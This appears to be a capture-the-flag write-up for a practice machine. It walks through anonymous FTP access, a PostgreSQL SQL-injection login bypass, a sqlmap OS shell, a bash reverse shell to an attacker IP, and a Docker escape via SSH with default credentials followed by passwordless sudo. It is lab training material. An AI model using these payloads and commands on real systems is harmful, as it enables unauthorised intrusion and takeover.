Let's add admin.megalogistic.com and megalogistic.com to our hosts file.

FTP

Anonymous FTP is allowed and we have on file on the target. Let's take it curl --user anonymous:anonymous -o docker-toolbox.exe ftp://10.10.10.236/docker-toolbox.exe

Webserver

If we go to https://admin.megalogistic.com/ we have a login panel

If we put a quote in the user field we can generate a sql error

It is using pg_query so it is postgres sql.
Let's try to do the most common bypass authentication payload except we translate it in postgresql this does the trick username='+or+1=1--&password=aaa

In the browser it looks like this

If we google the "uplusion23" we find a github user https://github.com/uplusion23. if we have a look at his github page https://uplusion23.github.io/ we find his portfolio and then we can have a look at the admin panel on CodePen here

We have a todo list and a list of users

subdomain

Shell as postgresql

If we use sqlmap we can get a shell on the target sqlmap -r request -p username --os-shell To get the request file we just need to right click in the burp request and select save item

save item Here is the shell we get os-shell If we ls on hone we have a user named tony. When looking around a little we find the user flag /var/lib/postgresql/user.txt

We also find an .ssh folder with a known_hosts file
We can try to add our pu
Something weird is that if we cat /etc/passwd we do not find the user tony we found in /home. However the folder tony belongs to root so our root user might be named tony
Also this seems to be a docker instance.
Let's get a reverse shell we set a listener rlwrap nc -nlvp 1234 this way we will get a more verbose shell in case of errors
then we launch this from our previous prompt bash -c 'bash -i >& /dev/tcp/10.10.14.5/1234 0>&1'
uname -a gives command standard output: 'Linux bc56e3cc55e9 4.14.154-boot2docker #1 SMP Thu Nov 14 19:19:08 UTC 2019 x86_64 GNU/Linux' so we loopback to this boot2docker
We know it uses this docker: https://github.com/boot2docker/boot2docker
So If we want to escape docker we can ssh as docker to 172.17.0.1 ssh docker@172.17.0.1 (we can check ifconfig for this)
We get a shell this way (the users and pass are in the git above)
The difficulty here is that we need to upgrade our shell and be quick because we loose the shell every few minutes.
Here is how to upgrade our shell (thanks to my friend Brianlane for the support on this part)

python3 -c 'import pty;pty.spawn("/bin/bash")'
// Open a notepad to keep the info about term and rows and cols
// Background our nc / rlwrap nc connection
Ctrl - z 
// Get our current terminal  version and write it into our notepad
echo $TERM
tmux-256color
// Get our current terminal  dimensions
stty -a
// Write them down
rows 39; columns 190;
// Enable standard terminal commands
stty raw -echo;fg
//Reset the shell so we can configure it with our current settings
reset
//Enter the terminal info we noted earlier
Terminal type?
xterm-256color
stty rows 39 columns 190

When we loose our shell and need to get it back we can repeat these steps just this way

python3 -c 'import pty;pty.spawn("/bin/bash")'
// Background our nc / rlwrap nc connection
Ctrl - z 
// Enable standard terminal commands
stty raw -echo;fg
//Reset the shell so we can configure it with our current settings
reset
//Enter the terminal info we noted earlier
Terminal type?
xterm-256color
stty rows 39 columns 190

And ssh again ssh docker@172.17.0.1

If we sudo -l we can see that it allows to sudo su without having to enter any password.
The flag is not in the root folder
If we go back we find a c directory with a Users folder in it that looks a lot like a win file system
If we go to Administrator/Desktop we can get the root flag
